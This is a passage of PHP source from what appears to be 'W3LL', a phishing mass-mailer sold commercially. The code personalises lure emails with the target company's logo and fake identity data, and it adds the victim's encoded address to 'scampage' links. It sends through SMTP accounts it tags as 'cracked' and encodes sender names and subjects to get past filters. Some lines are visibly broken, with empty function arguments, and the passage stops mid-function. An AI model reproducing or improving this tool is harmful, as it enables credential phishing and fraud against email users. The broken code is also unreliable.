"Mauritius", "Mayotte", "Mexico", "Micronesia, Federated States of", "Moldova, Republic of", "Monaco", "Mongolia", "Montserrat", "Morocco", "Mozambique", "Myanmar", "Namibia", "Nauru", "Nepal", "Netherlands", "Netherlands Antilles", "New Caledonia", "New Zealand", "Nicaragua", "Niger", "Nigeria", "Niue", "Norfolk Island", "Northern Mariana Islands", "Norway", "Oman", "Pakistan", "Palau", "Panama", "Papua New Guinea", "Paraguay", "Peru", "Philippines", "Pitcairn", "Poland", "Portugal", "Puerto Rico", "Qatar", "Reunion", "Romania", "Russian Federation", "Rwanda", "Saint Kitts and Nevis", "Saint Lucia", "Saint Vincent and the Grenadines", "Samoa", "San Marino", "Sao Tome and Principe", "Saudi Arabia", "Senegal", "Seychelles", "Sierra Leone", "Singapore", "Slovakia (Slovak Republic)", "Slovenia", "Solomon Islands", "Somalia", "South Africa", "South Georgia and the South Sandwich Islands", "Spain", "Sri Lanka", "St. Helena", "St. Pierre and Miquelon", "Sudan", "Suriname", "Svalbard and Jan Mayen Islands", "Swaziland", "Sweden", "Switzerland", "Syrian Arab Republic", "Taiwan, Province of China", "Tajikistan", "Tanzania, United Republic of", "Thailand", "Togo", "Tokelau", "Tonga", "Trinidad and Tobago", "Tunisia", "Turkey", "Turkmenistan", "Turks and Caicos Islands", "Tuvalu", "Uganda", "Ukraine", "United Arab Emirates", "United Kingdom", "United States", "United States Minor Outlying Islands", "Uruguay", "Uzbekistan", "Vanuatu", "Venezuela", "Vietnam", "Virgin Islands (British)", "Virgin Islands (U.S.)", "Wallis and Futuna Islands", "Western Sahara", "Yemen", "Yugoslavia", "Zambia", "Zimbabwe");
    shuffle($countries);
    $country = array_shift($countries);

    $OSystems = array('Windows 10', 'Windows 8.1', 'Windows 8', 'Windows 7', 'Windows Vista', 'Windows Server 2003/XP x64', 'Windows XP', 'Windows XP', 'Mac OS X', 'Mac OS 9', 'Linux', 'Ubuntu', 'iPhone', 'iPod', 'iPad', 'Android', 'BlackBerry', 'Windows 10 Home Edition');
    shuffle($OSystems);
    $OS = array_shift($OSystems);

    $ListBrowser = array('Internet Explorer', 'Firefox', 'Safari', 'Chrome', 'Edge', 'Opera', 'Netscape', 'Tor Browser');
    shuffle($ListBrowser);
    $browser = array_shift($ListBrowser);
    $date = date('d/M/Y');
    $time = date('g:i A (T)');
    $file = file_get_contents($msgfile);
    $arr  = array(
        '++w3ll_logo++',
        '++w3ll_data_gender++',
        '++w3ll_data_title++',
        '++w3ll_data_first++',
        '++w3ll_data_last++',
        '++w3ll_data_street_number++',
        '++w3ll_data_street_name++',
        '++w3ll_data_city++',
        '++w3ll_data_state++',
        '++w3ll_data_country++',
        '++w3ll_data_post_code++',
        '++w3ll_data_latitude++',
        '++w3ll_data_longitude++',
        '++w3ll_data_timezone_offset++',
        '++w3ll_data_timezone_description++',
        '++w3ll_data_email++',
        '++w3ll_data_uuid++',
        '++w3ll_data_username++',
        '++w3ll_data_password++',
        '++w3ll_data_salt++',
        '++w3ll_data_md5++',
        '++w3ll_data_sha1++',
        '++w3ll_data_sha256++',
        '++w3ll_data_dob_date++',
        '++w3ll_data_age++',
        '++w3ll_data_registered++',
        '++w3ll_data_phone++',
        '++w3ll_data_cell++',
        '++w3ll_data_id_name++',
        '++w3ll_data_id_value++',
        '++w3ll_data_picture_small++',
        '++w3ll_data_picture_medium++',
        '++w3ll_data_picture_large++',
        '++w3ll_data_nat++',
        '++w3ll_domain_url++',
        '++w3ll_smtp++',
        '++w3ll_short64++',
        '++w3ll_email64++',
        '++w3ll_email++',
        '++w3ll_subject++',
        '++w3ll_randomip++',
        '++w3ll_frommail++',
        '++w3ll_fromname++',
        '++w3ll_short++',
        '++w3ll_randstring++',
        '++w3ll_country++',
        '++w3ll_date++',
        '++w3ll_number1++',
        '++w3ll_number2++',
        '++w3ll_number3++',
        '++w3ll_number4++',
        '++w3ll_number5++',
        '++w3ll_number6++',
        '++w3ll_number7++',
        '++w3ll_number8++',
        '++w3ll_number9++',
        '++w3ll_number10++',
        '++w3ll_os++',
        '++w3ll_browser++',
        '++w3ll_time++',
        '++w3ll_user++',
        '++w3ll_domain++',
        '++w3ll_domain1++',
        '++w3ll_secret_email++',
        '++w3ll_smtp_user++'
    );


    $new  = array('' . $img_src . '', '' . $w3ll_data_gender . '','' . $w3ll_data_title . '','' . $w3ll_data_first . '','' . $w3ll_data_last . '','' . $w3ll_data_street_number . '','' . $w3ll_data_street_name . '','' . $w3ll_data_city . '','' . $w3ll_data_state . '','' . $w3ll_data_country . '','' . $w3ll_data_post_code . '','' . $w3ll_data_latitude . '','' . $w3ll_data_longitude . '','' . $w3ll_data_timezone_offset . '','' . $w3ll_data_timezone_description . '','' . $w3ll_data_email . '','' . $w3ll_data_uuid . '','' . $w3ll_data_username . '','' . $w3ll_data_password . '','' . $w3ll_data_salt . '', '' . $w3ll_data_md5 . '', '' . $w3ll_data_sha1 . '', '' . $w3ll_data_sha256 . '', '' . $w3ll_data_dob_date . '', '' . $w3ll_data_age . '', '' . $w3ll_data_registered . '', '' . $w3ll_data_phone . '', '' . $w3ll_data_cell . '', '' . $w3ll_data_id_name . '', '' . $w3ll_data_id_value . '', '' . $w3ll_data_picture_small  . '', '' . $w3ll_data_picture_medium . '', '' . $w3ll_data_picture_large . '', '' . $w3ll_data_nat . '', '' . $host . '','' . $smtp_email . '','' . $base64url . '','' . $email64 . '','' . $email . '', '' . $subject . '', '' . $randip . '', '' . $frommail . '', '' . $fromname . '', '' . $randurls . '', '' . $randstr1 . '', '' . $country . '', '' . $date . '', '' . $randnumber1 . '', '' . $randnumber2 . '', '' . $randnumber3 . '', '' . $randnumber4 . '', '' . $randnumber5 . '', '' . $randnumber6 . '', '' . $randnumber7 . '', '' . $randnumber8 . '', '' . $randnumber9 . '', '' . $randnumber10 . '', '' . $OS . '', '' . $browser . '','' . $time . '','' . $user1 . '','' . $domain . '','' . $domain1 . '','' . $secret_mail . '', ''.$smtp_user.'');
    $repl = str_replace($arr, $new, $file);
    return $repl;
};

function subjecting($msgfile, $email, $frommail, $fromname, $randurl, $subject, $smtp_user, $redirect)
{
    //Name fake
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://randomuser.me/api/');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');

    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $result = curl_exec($ch);
    if (curl_errno($ch)) {
            
    }
    else
    {
            $data = json_decode($result);
      
            $w3ll_data_gender= $data->results[0]->gender;
            $w3ll_data_title = $data->results[0]->name->title;
            $w3ll_data_first = $data->results[0]->name->first;
            $w3ll_data_last = $data->results[0]->name->last;
            $w3ll_data_street_number = $data->results[0]->location->street->number;
            $w3ll_data_street_name = $data->results[0]->location->street->name;
            $w3ll_data_city = $data->results[0]->location->city;
            $w3ll_data_state = $data->results[0]->location->state;
            $w3ll_data_country = $data->results[0]->location->country;
            $w3ll_data_post_code = $data->results[0]->location->postcode;
            $w3ll_data_latitude = $data->results[0]->location->coordinates->latitude;
            $w3ll_data_longitude = $data->results[0]->location->coordinates->longitude;
            $w3ll_data_timezone_offset = $data->results[0]->location->timezone->offset;
            $w3ll_data_timezone_description = $data->results[0]->location->timezone->description;
            $w3ll_data_email = $data->results[0]->email;
            $w3ll_data_uuid = $data->results[0]->login->uuid;
            $w3ll_data_username = $data->results[0]->login->username;
            $w3ll_data_password = $data->results[0]->login->password;
            $w3ll_data_salt = $data->results[0]->login->salt;
            $w3ll_data_md5 = $data->results[0]->login->md5;
            $w3ll_data_sha1 = $data->results[0]->login->sha1;
            $w3ll_data_sha256 = $data->results[0]->login->sha256;
            $w3ll_data_dob_date = $data->results[0]->dob->date;
            $w3ll_data_age = $data->results[0]->dob->age;
            $w3ll_data_registered = $data->results[0]->registered->date;
            $w3ll_data_phone = $data->results[0]->phone;
            $w3ll_data_cell = $data->results[0]->cell;
            $w3ll_data_id_name = $data->results[0]->id->name;
            $w3ll_data_id_value = $data->results[0]->id->value;
            $w3ll_data_picture_small = $data->results[0]->picture->thumbnail;
            $w3ll_data_picture_medium = $data->results[0]->picture->medium;
            $w3ll_data_picture_large = $data->results[0]->picture->large;
            $w3ll_data_nat = $data->results[0]->nat;
    }
    curl_close($ch);

    $users = explode('@', $email);
    $user = $users[0];
    $user1 = ucwords("$users[0]");
    $domains = explode('@', $email);
    $domain = $domains[1];
    $domains1 = explode(, $domain);
    $domain1 = ucwords ("$domains1[0]");
    $secret_mail= secret_mail($email);
    $randip       = "" . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) .  . rand(1, 100) . "";
    $randstr1     = RandString(10);
    $randstr1     = RandString(6);
    $randnumber1  = RandNumber(1);
    $randnumber2  = RandNumber(2);
    $randnumber3  = RandNumber(3);
    $randnumber4  = RandNumber(4);
    $randnumber5  = RandNumber(5);
    $randnumber6  = RandNumber(6);
    $randnumber7  = RandNumber(7);
    $randnumber8  = RandNumber(8);
    $randnumber9  = RandNumber(9);
    $randnumber10 = RandNumber(10);

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, "https://logo.clearbit.com/$domain");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
    $headers[] = 'Upgrade-Insecure-Requests: 1';
    $headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36';
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    
    if(!$result || strlen(trim($result)) == 0 || curl_errno($ch))
    {
        $img_src = "";
    }
    else
    {
        download_image1("http://logo.clearbit.com/$domain", "$domain.jpg");
        $img_file = $domain.".jpg";
        // Read image path, convert to base64 encoding
        $imgData = base64_encode(file_get_contents($img_file));

        // Format the image SRC:  data:{mime};base64,{data};
        $img_src = 'data:image/jpeg;base64,'.$imgData;

        // Echo out a sample image
        $img_src = '<img src="'.$img_src.'" height="65px" widht="65px">';

        exec("rm ".$img_file);
    }

    curl_close($ch);

    shuffle($randurl);
    $smtp_email = $smtp_user;
    $smtp_user = explode("@", $smtp_user)[0];

    $randurls  = array_shift($randurl);

    preg_match('@^(?:https://)?([^/]+)@i',$randurls, $matches);
    $host = $matches[1];

    $host = explode(, $host);
    $host = $host[0];

    $email64 = base64_encode($email);
    $base64url = base64_decode($randurls);

    if($redirect == 1)
    {
        $randurls = "$randurls?email=".urlencode($email64)."";
    }
    else if($redirect == 2)
    {
        $randurls = "$randurls?a=".urlencode($email64)."";
    }
    else if($redirect == 3)
    {
        $randurls = "$randurls?email=".urlencode($email)."";
    }
	else if($redirect == 4)
    {
        $randurls = "$randurls#".urlencode($email64)."";
    }

    $randurls= encode($randurls);

    $countries = array("Afghanistan", "Albania", "Algeria", "American Samoa", "Andorra", "Angola", "Anguilla", "Antarctica", "Antigua and Barbuda", "Argentina", "Armenia", "Aruba", "Australia", "Austria", "Azerbaijan", "Bahamas", "Bahrain", "Bangladesh", "Barbados", "Belarus", "Belgium", "Belize", "Benin", "Bermuda", "Bhutan", "Bolivia", "Bosnia and Herzegowina", "Botswana", "Bouvet Island", "Brazil", "British Indian Ocean Territory", "Brunei Darussalam", "Bulgaria", "Burkina Faso", "Burundi", "Cambodia", "Cameroon", "Canada", "Cape Verde", "Cayman Islands", "Central African Republic", "Chad", "Chile", "China", "Christmas Island", "Cocos (Keeling) Islands", "Colombia", "Comoros", "Congo", "Congo, the Democratic Republic of the", "Cook Islands", "Costa Rica", "Cote d'Ivoire", "Croatia (Hrvatska)", "Cuba", "Cyprus", "Czech Republic", "Denmark", "Djibouti", "Dominica", "Dominican Republic", "East Timor", "Ecuador", "Egypt", "El Salvador", "Equatorial Guinea", "Eritrea", "Estonia", "Ethiopia", "Falkland Islands (Malvinas)", "Faroe Islands", "Fiji", "Finland", "France", "France Metropolitan", "French Guiana", "French Polynesia", "French Southern Territories", "Gabon", "Gambia", "Georgia", "Germany", "Ghana", "Gibraltar", "Greece", "Greenland", "Grenada", "Guadeloupe", "Guam", "Guatemala", "Guinea", "Guinea-Bissau", "Guyana", "Haiti", "Heard and Mc Donald Islands", "Holy See (Vatican City State)", "Honduras", "Hong Kong", "Hungary", "Iceland", "India", "Indonesia", "Iran (Islamic Republic of)", "Iraq", "Ireland", "Israel", "Italy", "Jamaica", "Japan", "Jordan", "Kazakhstan", "Kenya", "Kiribati", "Korea, Democratic People's Republic of", "Korea, Republic of", "Kuwait", "Kyrgyzstan", "Lao, People's Democratic Republic", "Latvia", "Lebanon", "Lesotho", "Liberia", "Libyan Arab Jamahiriya", "Liechtenstein", "Lithuania", "Luxembourg", "Macau", "Macedonia, The Former Yugoslav Republic of", "Madagascar", "Malawi", "Malaysia", "Maldives", "Mali", "Malta", "Marshall Islands", "Martinique", "Mauritania", "Mauritius", "Mayotte", "Mexico", "Micronesia, Federated States of", "Moldova, Republic of", "Monaco", "Mongolia", "Montserrat", "Morocco", "Mozambique", "Myanmar", "Namibia", "Nauru", "Nepal", "Netherlands", "Netherlands Antilles", "New Caledonia", "New Zealand", "Nicaragua", "Niger", "Nigeria", "Niue", "Norfolk Island", "Northern Mariana Islands", "Norway", "Oman", "Pakistan", "Palau", "Panama", "Papua New Guinea", "Paraguay", "Peru", "Philippines", "Pitcairn", "Poland", "Portugal", "Puerto Rico", "Qatar", "Reunion", "Romania", "Russian Federation", "Rwanda", "Saint Kitts and Nevis", "Saint Lucia", "Saint Vincent and the Grenadines", "Samoa", "San Marino", "Sao Tome and Principe", "Saudi Arabia", "Senegal", "Seychelles", "Sierra Leone", "Singapore", "Slovakia (Slovak Republic)", "Slovenia", "Solomon Islands", "Somalia", "South Africa", "South Georgia and the South Sandwich Islands", "Spain", "Sri Lanka", "St. Helena", "St. Pierre and Miquelon", "Sudan", "Suriname", "Svalbard and Jan Mayen Islands", "Swaziland", "Sweden", "Switzerland", "Syrian Arab Republic", "Taiwan, Province of China", "Tajikistan", "Tanzania, United Republic of", "Thailand", "Togo", "Tokelau", "Tonga", "Trinidad and Tobago", "Tunisia", "Turkey", "Turkmenistan", "Turks and Caicos Islands", "Tuvalu", "Uganda", "Ukraine", "United Arab Emirates", "United Kingdom", "United States", "United States Minor Outlying Islands", "Uruguay", "Uzbekistan", "Vanuatu", "Venezuela", "Vietnam", "Virgin Islands (British)", "Virgin Islands (U.S.)", "Wallis and Futuna Islands", "Western Sahara", "Yemen", "Yugoslavia", "Zambia", "Zimbabwe");
    shuffle($countries);
    $country = array_shift($countries);

    $OSystems = array('Windows 10', 'Windows 8.1', 'Windows 8', 'Windows 7', 'Windows Vista', 'Windows Server 2003/XP x64', 'Windows XP', 'Windows XP', 'Mac OS X', 'Mac OS 9', 'Linux', 'Ubuntu', 'iPhone', 'iPod', 'iPad', 'Android', 'BlackBerry', 'Windows 10 Home Edition');
    shuffle($OSystems);
    $OS = array_shift($OSystems);

    $ListBrowser = array('Internet Explorer', 'Firefox', 'Safari', 'Chrome', 'Edge', 'Opera', 'Netscape', 'Tor Browser');
    shuffle($ListBrowser);
    $browser = array_shift($ListBrowser);
    $date = date('d/M/Y');
    $time = date('g:i A (T)');
    $file = $msgfile;
    $arr  = array(
        '++w3ll_logo++',
        '++w3ll_data_gender++',
        '++w3ll_data_title++',
        '++w3ll_data_first++',
        '++w3ll_data_last++',
        '++w3ll_data_street_number++',
        '++w3ll_data_street_name++',
        '++w3ll_data_city++',
        '++w3ll_data_state++',
        '++w3ll_data_country++',
        '++w3ll_data_post_code++',
        '++w3ll_data_latitude++',
        '++w3ll_data_longitude++',
        '++w3ll_data_timezone_offset++',
        '++w3ll_data_timezone_description++',
        '++w3ll_data_email++',
        '++w3ll_data_uuid++',
        '++w3ll_data_username++',
        '++w3ll_data_password++',
        '++w3ll_data_salt++',
        '++w3ll_data_md5++',
        '++w3ll_data_sha1++',
        '++w3ll_data_sha256++',
        '++w3ll_data_dob_date++',
        '++w3ll_data_age++',
        '++w3ll_data_registered++',
        '++w3ll_data_phone++',
        '++w3ll_data_cell++',
        '++w3ll_data_id_name++',
        '++w3ll_data_id_value++',
        '++w3ll_data_picture_small++',
        '++w3ll_data_picture_medium++',
        '++w3ll_data_picture_large++',
        '++w3ll_data_nat++',
        '++w3ll_domain_url++',
        '++w3ll_smtp++',
        '++w3ll_short64++',
        '++w3ll_email64++',
        '++w3ll_email++',
        '++w3ll_subject++',
        '++w3ll_randomip++',
        '++w3ll_frommail++',
        '++w3ll_fromname++',
        '++w3ll_short++',
        '++w3ll_randstring++',
        '++w3ll_country++',
        '++w3ll_date++',
        '++w3ll_number1++',
        '++w3ll_number2++',
        '++w3ll_number3++',
        '++w3ll_number4++',
        '++w3ll_number5++',
        '++w3ll_number6++',
        '++w3ll_number7++',
        '++w3ll_number8++',
        '++w3ll_number9++',
        '++w3ll_number10++',
        '++w3ll_os++',
        '++w3ll_browser++',
        '++w3ll_time++',
        '++w3ll_user++',
        '++w3ll_domain++',
        '++w3ll_domain1++',
        '++w3ll_secret_email++',
        '++w3ll_smtp_user++'
    );


    $new  = array('' . $img_src . '', '' . $w3ll_data_gender . '','' . $w3ll_data_title . '','' . $w3ll_data_first . '','' . $w3ll_data_last . '','' . $w3ll_data_street_number . '','' . $w3ll_data_street_name . '','' . $w3ll_data_city . '','' . $w3ll_data_state . '','' . $w3ll_data_country . '','' . $w3ll_data_post_code . '','' . $w3ll_data_latitude . '','' . $w3ll_data_longitude . '','' . $w3ll_data_timezone_offset . '','' . $w3ll_data_timezone_description . '','' . $w3ll_data_email . '','' . $w3ll_data_uuid . '','' . $w3ll_data_username . '','' . $w3ll_data_password . '','' . $w3ll_data_salt . '', '' . $w3ll_data_md5 . '', '' . $w3ll_data_sha1 . '', '' . $w3ll_data_sha256 . '', '' . $w3ll_data_dob_date . '', '' . $w3ll_data_age . '', '' . $w3ll_data_registered . '', '' . $w3ll_data_phone . '', '' . $w3ll_data_cell . '', '' . $w3ll_data_id_name . '', '' . $w3ll_data_id_value . '', '' . $w3ll_data_picture_small  . '', '' . $w3ll_data_picture_medium . '', '' . $w3ll_data_picture_large . '', '' . $w3ll_data_nat . '', '' . $host . '','' . $smtp_email . '','' . $base64url . '','' . $email64 . '','' . $email . '', '' . $subject . '', '' . $randip . '', '' . $frommail . '', '' . $fromname . '', '' . $randurls . '', '' . $randstr1 . '', '' . $country . '', '' . $date . '', '' . $randnumber1 . '', '' . $randnumber2 . '', '' . $randnumber3 . '', '' . $randnumber4 . '', '' . $randnumber5 . '', '' . $randnumber6 . '', '' . $randnumber7 . '', '' . $randnumber8 . '', '' . $randnumber9 . '', '' . $randnumber10 . '', '' . $OS . '', '' . $browser . '','' . $time . '','' . $user1 . '','' . $domain . '','' . $domain1 . '','' . $secret_mail . '', ''.$smtp_user.'');
    $repl = str_replace($arr, $new, $file);
    return $repl;
};

function Reletter($letter, $mailto)
{
    $file = file_get_contents($letter);
    $arr  = array('++w3ll_email++');
    $new  = array('' . $mailto . '');
    $repl = str_replace($arr, $new, $file);
    return $repl;
};

function berhenti($kata)
{
    $k = strlen($kata);
    if ($k == $k) {
        $p = substr($kata, $k - 1);
        if ($p == 0) {
            echo "Break for 5 seconds...\n";
            sleep(5);
        }

    }

}

function Savedata($file, $data)
{
    $file = fopen($file, "w");
    fputs($file, PHP_EOL . $data);
    return fclose($file);
};

function RemoveLine($file, $name)
{
    $getfile  = file_get_contents($file);
    $search   = explode($name, $getfile);
    $save     = $search[1];
    $savedata = Savedata($file, $save);
    return $savedata;
};
system('clear');
date_default_timezone_set('America/Los_Angeles');
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"\r\n";
echo"      █████████████████████████████████████████████████████████████████████\r\n";
echo"      █                                                                   █\r\n";
echo"      █\e[31m       NOTE: THIS SENDER SOLD ON W3LLSTORE.CO WITH PRICE 85$       \e[0m█\r\n      \e[0m█\e[31m       IF YOU DONT BUY THIS SENDER FROM HTTPS://W3LLSTORE.CO,    \e[0m  █ \r\n      \e[0m█\e[31m  MEAN YOU USE ILLEGAL SENDER..AND YOUR TOKEN WILL BE BANNED SOON! \e[0m█\r\n";
echo"      █                                                                   █\r\n";
echo"      █████████████████████████████████████████████████████████████████████\r\n";
sleep(6);
system('clear');
$logo[1] .= "                                             \r\n";
$logo[1] .= "\e[0;31m 		    $$\      $$\  $$$$$$\  $$\       $$\       \r\n";
$logo[1] .= "		    $$ | $\  $$ |$$ ___$$\ $$ |      $$ |      \r\n";
$logo[1] .= "		    $$ |$$$\ $$ |\_/   $$ |$$ |      $$ |      \r\n";
$logo[1] .= "\e[0;34m		    HTTPS://W3LLSTORE.CO OFFICIAL SENDER|      \r\n";
$logo[1] .= "\e[1;37m		    $$$$  _$$$$ |  \___$$\ $$ |      $$ |      \r\n";
$logo[1] .= "		    $$$  / \\$$$ |$$\   $$ |$$ |      $$ |      \r\n";
$logo[1] .= "		    $$  /   \\$$ |\\$$$$$$  |$$$$$$$$\ $$$$$$$$\ \r\n";
$logo[1] .= "		    \__/     \__| \______/ \________|\________|\r\n";
$logo[1] .= "\e[0;32m		    					  V".$version."\r\n";

$logo[2] .= "\e[0;34m			   __    __ _____   __    __  \r\n";
$logo[2] .= "\e[0;31m			  / / /\ \ \___ /  / /   / /  \r\n"; 
$logo[2] .= "\e[1;36m			  \ \/  \/ / |_ \ / /   / /   \r\n";
$logo[2] .= "\e[0;35m			   \  /\  / ___) / /___/ /___ \r\n";
$logo[2] .= "\e[0;33m			    \/  \/ |____/\____/\____/ \r\n";
$logo[2] .= "\e[0;37m			                  SINCE 2017\r\n";
$logo[2] .= "\e[0;32m			   		        V".$version."\r\n";        

$logo[3] .= "                                             \r\n";
$logo[3] .= "\e[1;33m		    _/          _/  _/_/_/    _/        _/     \r\n";
$logo[3] .= "\e[1;34m		   _/          _/        _/  _/        _/      \r\n";
$logo[3] .= "\e[1;32m		  _/    _/    _/    _/_/    _/        _/       \r\n";
$logo[3] .= "\e[1;36m		   _/  _/  _/          _/  _/        _/\e[0;32m   V".$version."        \r\n";
$logo[3] .= "\e[1;31m		    _/  _/      _/_/_/    _/_/_/_/  _/_/_/_/   \r\n"; 
$logo[3] .= "\e[1;35m                                               W3LLSTORE.CO\r\n";
        
$logo[4] .= "                                             \r\n";
$logo[4] .= "\e[31m 		       ██╗    ██╗██████╗ ██╗     ██╗          \r\n";
$logo[4] .= "\e[31m 		       ██║    ██║╚════██╗██║     ██║          \r\n";
$logo[4] .= "\e[31m 		       ██║ █╗ ██║ █████╔╝██║     ██║          \r\n";
$logo[4] .= "\e[37m 		       ██║███╗██║ ╚═══██╗██║     ██║          \r\n";
$logo[4] .= "\e[37m 		       ╚███╔███╔╝██████╔╝███████╗███████╗     \r\n";
$logo[4] .= "\e[37m 		        ╚══╝╚══╝ ╚═════╝ ╚══════╝╚══════╝     \r\n";
$logo[4] .= "\e[0;32m			   		            V".$version."\r\n";  
                                  



        print_r( $logo[rand(1,4)]);

if (preg_match('/\bDays Left\b/',$checkval))
{
echo "\r\n";
echo "\r\n";
        echo "                             \e[32;1mUsername : $checkval\n\n\e[0m";
}
else if($checkval == 'Please renew your Token')
{

    unlink('README.txt');
    unlink('W3LL.php');
    unlink('setting/phpmailer/Exception.php');
    unlink('setting/phpmailer/OAuth.php');
    unlink('setting/phpmailer/PHPMailer.php');
    unlink('setting/phpmailer/POP3.php');
    unlink('setting/phpmailer/SMTP.php');
    unlink('file/W3LL_MAILIST/W3LL_LIST.txt');
    unlink('file/W3LL_LETTER/AOL.html');
    unlink('file/W3LL_LETTER/CHINESE.html');
    unlink('file/W3LL_LETTER/MAIL.RU.html');
    unlink('file/W3LL_LETTER/OFFICE.html');
    unlink('file/W3LL_LETTER/WEBMAIL.html');
    unlink('file/W3LL_LETTER/YAHOO.html');
    rmdir('setting/phpmailer');
    rmdir('setting');
    rmdir('file/W3LL_MAILIST');
    rmdir('file/W3LL_LETTER');
    rmdir('file');
    system('clear');

    echo "                          \e[1;37;41mError : Token Expired\n\e[0m";
    die();
}
else
{
    echo "                      \e[1;37;41mError : $checkval\n\e[0m";
    die();
}
function encode($text)
{
   $list = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",":","/") ;
   $replace = array("a", "b", "c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",":","/");

   $walah = str_replace($list, $replace, $text);
   return $walah;
}
function SmtpType($smtp)
{
    if (preg_match('/\bsendgrid\b/',$smtp))
    {
        $type = 'SENDGRID';
    }
    else if (preg_match('/\bgmail\b/',$smtp))
    {
        $type = 'G-SUITE';
    }
    else if (preg_match('/\bsecuresmtp\b/',$smtp))
    {
        $type = 'T-ONLINE';
    }
    else if (preg_match('/\boffice365\b/',$smtp))
    {
        $type = 'OFFICE 365';
    }
    else if (preg_match('/\bemailsrvr\b/',$smtp))
    {
        $type = 'RACKSPACE';
    }
    else
    {
        $type = 'CRACKED';
    }
    return $type;
}
function Kirim($email, $smtp_acc, $W3LL_setup)
{
    global $ahh, $num;

    $smtp           = new SMTP;
    $smtp->do_debug = 0;
    $smtpserver         = $smtp_acc['host'];
    $smtpport           = $smtp_acc['port'];
    $smtpuser           = $smtp_acc['username'];
    $smtppass           = $smtp_acc['password'];
    $priority           = $W3LL_setup['priority'];
    $sleeptime          = $W3LL_setup['sleeptime'];
    $replacement        = $W3LL_setup['replacement'];
    $userremoveline     = $W3LL_setup['userremoveline'];
    $fromname           = $W3LL_setup['fromname'];
    $frommail           = $W3LL_setup['frommail'];
    $subject            = $W3LL_setup['subject'];
    $msgfile            = $W3LL_setup['msgfile'];
    $filepdf            = $W3LL_setup['filesend'];
    $randurl            = $W3LL_setup['scampage'];
    $redirect           = $W3LL_setup['redirect'];
    $subject_encrypt    = $W3LL_setup['subject_encrypt'];
    $fromname_encrypt    = $W3LL_setup['fromname_encrypt'];

    if($smtpport == 465)
    {
        $smtpserver = "ssl://".$smtpserver;
    }

    if (!$smtp->connect($smtpserver, $smtpport)) {
        //throw new Exception('Connect failed');
        echo "     [\e[0;31mPLEASE CHECK UR SMTP ON http://smtper.net [CASE1]\e[0m ]\r\n";
        die();
    }


    if (!$smtp->hello(gethostname())) {
        //throw new Exception('EHLO failed: ' . $smtp->getError()['error']);
        echo "     [\e[0;31mPLEASE CHECK UR SMTP ON http://smtper.net [CASE2] \e[0m ]\r\n";
        die();
    }

        $smtptypez = SmtpType($smtpserver);
        if ($smtp->authenticate($smtpuser, $smtppass)) {
            if(!is_file($msgfile)) {
                echo "     [\e[0;31m LETTER NOT FOUND - PLEASE CHECK YOUR LETTER NAME !\e[0m ]\r\n";
                die();
            }
            if($W3LL_setup['filesend'] == 1) {
                if(!is_file($W3LL_setup['attach'])) {
                    echo "     [\e[0;31m ATTACHMENT NOT FOUND - PLEASE CHECK YOUR ATTACHMENT NAME !\e[0m ]\r\n";
                    die();
                }
            }
            $randstr023       = RandString1(16);
            $mail           = new PHPMailer;

            //CREATE DKIM

            $selector = 'phpmailer';
            //Path to your private key:
            $privatekeyfile = 'setting/dkim_private.pem';
            //Path to your public key:
            $publickeyfile = 'setting/dkim_public.pem';
            
            $mail->Encoding = 'base64'; // 8bit base64 multipart/alternative quoted-printable
            $mail->headerLine("format", "flowed");
            
            $mail->addCustomHeader("MIME-Version: 1.0\r\n");
            //$mail->addCustomHeader("charset=UTF-8\r\n");

            //Start SMTP
            $mail->IsSMTP();
            $mail->SMTPAuth = true;
            $mail->Host     = $smtpserver;
            $mail->Port     = $smtpport;
            $mail->Priority = $priority;
            $mail->SMTPOptions = array (
              'ssl' => array(
              'verify_peer'  => false,
              'verify_peer_name'  => false,
              'allow_self_signed' => true));
            $mail->Username = $smtpuser;
            $mail->Password = $smtppass;
            $randstr01       = RandString1(8);
            $randstr011      = RandString(5);
            $randstr012      = RandString1(5);
            $nmbr            = RandNumber(5);


            shuffle($subject);
            $subject  = array_shift($subject);
            shuffle($fromname);
            $fromname  = array_shift($fromname);

            $fromnames = str_replace('++w3ll_smtp++', $smtpuser, $fromname);
            $frommails = str_replace('++w3ll_smtp++', $smtpuser, $frommail);
          
          

            $fromnames = str_replace('++w3ll_randstring++', $randstr011, $fromnames);
            $frommails = str_replace('++w3ll_randstring++', $randstr01, $frommails);

            $fromnames = privateLHZ($email, $fromnames, $smtpuser);
            $frommails = privateLHZ1($email, $frommails);


            $subjects  = str_replace('++w3ll_randstring++', $randstr012, $subject);
            $subjects = subjecting($subjects, $email, $frommail, $fromname, $randurl, $subject, $smtpuser, $redirect);

            if($fromname_encrypt == 1)
            {
                $rand = rand(1,5);
                switch($rand)
                {
                    case 1:
                        $fromnames = '=?ISO-8859-15?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                    case 2:
                        $fromnames = '=?Windows-1254?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                    case 3:
                        $fromnames = '=?UTF-8?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                    default:
                        $fromnames = '=?ISO-8859-1?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                }
            }
            else
            {
               $mail->setFrom($frommails, $fromnames);
            }

            $mail->AddAddress($email);

            if($subject_encrypt == 1)
            {
                $rand = rand(1,4);
                switch($rand)
